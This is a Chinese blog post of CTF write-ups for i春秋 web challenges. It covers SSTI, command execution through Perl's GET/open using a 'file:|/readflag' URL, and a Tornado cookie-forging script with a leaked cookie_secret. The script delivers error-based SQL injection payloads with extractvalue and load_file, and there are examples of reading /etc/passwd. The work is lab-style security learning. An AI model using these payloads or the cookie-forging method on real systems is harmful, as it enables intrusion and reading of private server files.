i春秋10

web——Musee de X

这题怎么都注册不了,sql注入也没效果,试了一下弱口令 admin&password 页面直接报错,扫描也没扫出什么,看了一下wp,说就是要注册?可能是环境崩了吧,于是决定看一下wp学习思路
逛一下网站——得到报错信息——确定是ssti注入——fuzz过滤内容——构造注入语句——寻找可利用子类——cat flag
还挺无语的

web——ssrfme

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox); //创建目录
@chdir($sandbox); //更改目录为那个

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //escapeshellarg把字符串转码为可以在 shell 命令里使用的参数,并且能转义其中的单引号,shell_exec()调用GET来执行命令,
$info = pathinfo($_GET["filename"]); //get filename
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data); //basename() 函数返回路径中的文件名部分。
highlight_file(__FILE__);

首先我们需要弄清楚REMOTE_ADDR”这个和服务器建立tcp握手的ip究竟是多少,在查找了许多指令后,终于:
在cmd窗口输入curl httpbin.org/ip,然后得到的IP代入一下代码中

1
2
3
4
5
<?php
$sandbox = "sandbox/" . md5("orange" ."175.43.121.213");
print($sandbox);
?>
#sandbox/abb91d64b309e1928c7725fcefde973b

代码解析都在上面了,但是思路还不是很清楚,于是乎去看了一下wp。
首先需要知道一个知识点perl文件可以执行命令
https://news.ycombinator.com/item?id=3943116

1
2
$userinput = "cat /etc/passwd |zenity --text-info |";
open(file_handler, "$userinput");

可以发现open函数是可以执行命令的
img
img

而GET函数底层就是调用了open处理

1
2
3
4
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new
#这里的open中的path是可控的,所以可以把文件名拼接入命令导致命令执行。

open函数本身还支持file协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


...
=head2 File Request

The library supports GET and HEAD methods for file requests. The
"If-Modified-Since" header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to "localhost". Any other I<host> value will be treated as an error.

Directories are always converted to an HTML document. For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.

Example:

$req = HTTP::Request->new(GET => 'file:/etc/passwd');
...

我们前面说过GET支持file协议,所以我们可以利用这点来寻找flag文件:
GET file:///这样是访问根目录:
img

1
?url=file:///&filename=1.txt
img

接下来该如何读取呢?直接使用file://读取试试:

1
?url=file:///readflag&filename=5.txt

img
发现是ELF文件,可执行的,那么在这里为什么没有出执行结果呢?
原因是,直接/readflag的话是将其源码传入,而不是将执行结果传入,而这里猜测是需要flag是需要执行后才能出来的
这里还需要了解一点:
GET 执行命令前必须要有以命令为文件名的文件存在
所以最终思路是:创建一个以命令命名的文件,在执行该命令将其结果传入新文件中

而之前的使用file协议加个/只是访问根目录
知道这点后,我们可以直接构造语句:

1
2
?url=?filename=|/readflag
?url=file:|/readflag&filename=111

接下来访问111即可拿到flag

1
flag{d9faf0e7-6152-48be-8c5c-479c9681bcf3}

小结:

梳理一下吧,感觉做的挺模糊的:
分析源码,发现有shell函数执行命令——使用GET函数执行命令——GET指令特性:open()函数可以执行系统命令——构造payload——获得flag。

补充:果然放着不管总有点疙瘩于是再去查找了一下资料:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
# URL OK, look at file
my $path = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");

1.我们输入的内容是由get执行的,get执行的是path,如果path本身是命令,就会直接执行。
2.get执行的对象其实是$path,当我们传入的命令的时候,找不到该path,就会出现$path’ does not exist,所以此时我们需要先建立出同命令的文件名,更合理的说应该是路径。如果我的理解有误一定来和我讨论一下,,,

web——XSS平台

看了一下wp,构造错误数据,引发报错回显,得到关键信息rtiny,
厘清一下这里的思路:根据题目,这是一个xss平台,除此之外无更多信息,那么我就需要知道这是什么xss平台,并根据版本去寻找对应的漏洞或者源码,那么此时要怎么去寻找呢?第一,看看页面有没有什么提示,第二,根据报错信息,那么如何报错呢?SQL注入在这里无法报错,也就是内容无法报错,所以此时尝试一下更改数据类型达到报错的效果。

(我也不知道是个啥)img

上github搜索一下:

原来rtiny是一个xss平台,在github有他的源码,我们查看登录源码看看有没有什么收获:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__author__ = 'r0ker'
import tornado.web
import db
from config import URL, sql
from function import md5


class LoginHandler(tornado.web.RequestHandler):
def get(self):
if self.get_secure_cookie("username") and self.get_secure_cookie("password"):
self.redirect("/")
else:
self.render("login.html", url=URL)

def post(self):
self.set_header("Content-Type", "text/plain")
if True not in [f in self.get_argument("email") for f in sql]:
row = db.ct(
"manager",
"*", "username='"+self.get_argument("email")+"' and password='" + md5(self.get_argument('pass'))+"'")
if row:
self.set_secure_cookie("username", row['username'])
self.set_secure_cookie("password", row['password'])
self.write("true")

else:
self.write("false")
else:
self.write("false")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__author__ = 'r0ker'
import tornado.web
from function import md5
import db
from config import URL


class LockHandler(tornado.web.RequestHandler):
def get(self):
self.set_secure_cookie("lock",'1')
self.render("lock.html")

def post(self):
username = self.get_secure_cookie("username") or ''
passwd = md5(self.get_argument('password', ''))
row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
if row:
self.set_secure_cookie("lock", "0")
self.redirect("http://" + URL)
else:
self.redirect("http://" + URL + "/lock")

有的时候感觉这些代码好难读,于是将其和对应的类移到一起一看:

1
2
3
4
5
6
7
row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
def ct(table, column, where):
return db.get("select "+column+" from "+table+" where "+where)
#变成是 select * from manager where username='' and password= ''
#在这里使用sql注入:
#select * from manager where username=''and.. #''and password= '
#所以此时我们需要知道self.get_secure_cookie中的cookie是多少?在index.py中发现cookie_secret为M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=

思路:根据上面得到信息,厘清一下思路:
1.我们注入的页面时lock,因为lock里面存在SQL注入点
2.它使用了self.get_secure_cookie()函数,解密获得username,所以此时我们要加密出我们注入语句的cookie值,通过我们发现的cookie_secret,并结合tornado框架中的加密函数在本地获得加密后的内容
3.由于报错页面在login页面,所以我们要抓包login页面,再更改为地址更改为lock,最后添加username的cookie值。
加密内容脚本编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
import tornado.ioloop

settings={
"cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}
class indexhandler(tornado.web.RequestHandler):
def get(self):
#self.set_secure_cookie("username","'and extractvalue('~',concat((select group_concat(table_name) from information_schema.tables where table_schema='xss')))#")
#self.set_secure_cookie("username","'and extractvalue('~',concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='manager')))#")
#self.set_secure_cookie("username","'and extractvalue('~',concat(0x7e,(select group_concat(username,password,email) from manager)))#")
self.set_secure_cookie("username","'and extractvalue('~',concat(0x7e,(substr((select load_file('/var/www/html/f13g_ls_here.txt')),1,60))))#")
self.write(self.get_secure_cookie("username"))

if __name__ == "__main__":
app=tornado.web.Application(
[
(r"/",indexhandler),
],**settings#cooki_secret:xxxx的简写
)
app.listen(8004)#端口注意别冲突
tornado.ioloop.IOLoop.current().start()

1img
img
img

img 接下来就是组合券,其实突然想起来,我们的用户名密码就是在manager当中,因为在看源码的时候那个语句是select * from manager wherexxxx 登录以后: 这里有个小坑,当我在查询字段名的时候,是这样的: img 即内容是没有显示完整的,大概是长度被限制了,所以我们要用substr截取一下,后来才发现,哎我是忘记格式了,我们说extractvalue报错注入,报错内容在问题字符之后,所以我们在我们的查询语句之前要加上~,这一次我比较懒,在前面一条注入的时候没加也可以,于是后面也没加了,原来是不行的,前面一条可以是因为是database(),可能前面就是某个特殊字符了,而我其实也不知道数据库真实是啥样的,就以为那个是正确的!犯大错了!! img 很明显这里是没截全的,这个时候有两种办法,一种就是只显示password即可,另一种是用substr或者mid截取,这里为啥我知道没截全,因为我前面是只查询了password,出来的是后面的一半,这里其实可以做个小标记 在查询的username password email中间加个分隔符作为标记 密码需要MD5解密,这里直接拿别人的了: ichuqiu|318a61264482e503090facfc4337207f|545 MD5解密得密码Myxss623 额,我看成密码是ichunqiu试了好几次,没想到是ichuqiu==还挺无语的。。。 img

flag在这里,接下来就是将它打开,我们可以使用select load_file(‘’)img

很明显没截完,所以使用substr截一下

flag{e13482d8-ccee-47fb-8a43-2a03eb9d70c5}

加强记忆

这里有个需要加强记忆的点就是 这个select load_file(‘’) 使用sql语句查看文件的方法1、必须有权限读取并且文件必须完全可读。

1、需要有权限2、欲读取文件必须在服务器上3、必须指定文件完整的路径4、欲读取文件必须小于max_allowed_packet

https://www.cnblogs.com/blacksunny/p/8060028.html

Author

vague huang

Posted on

2021-03-02

Updated on

2021-03-05

Licensed under

Comments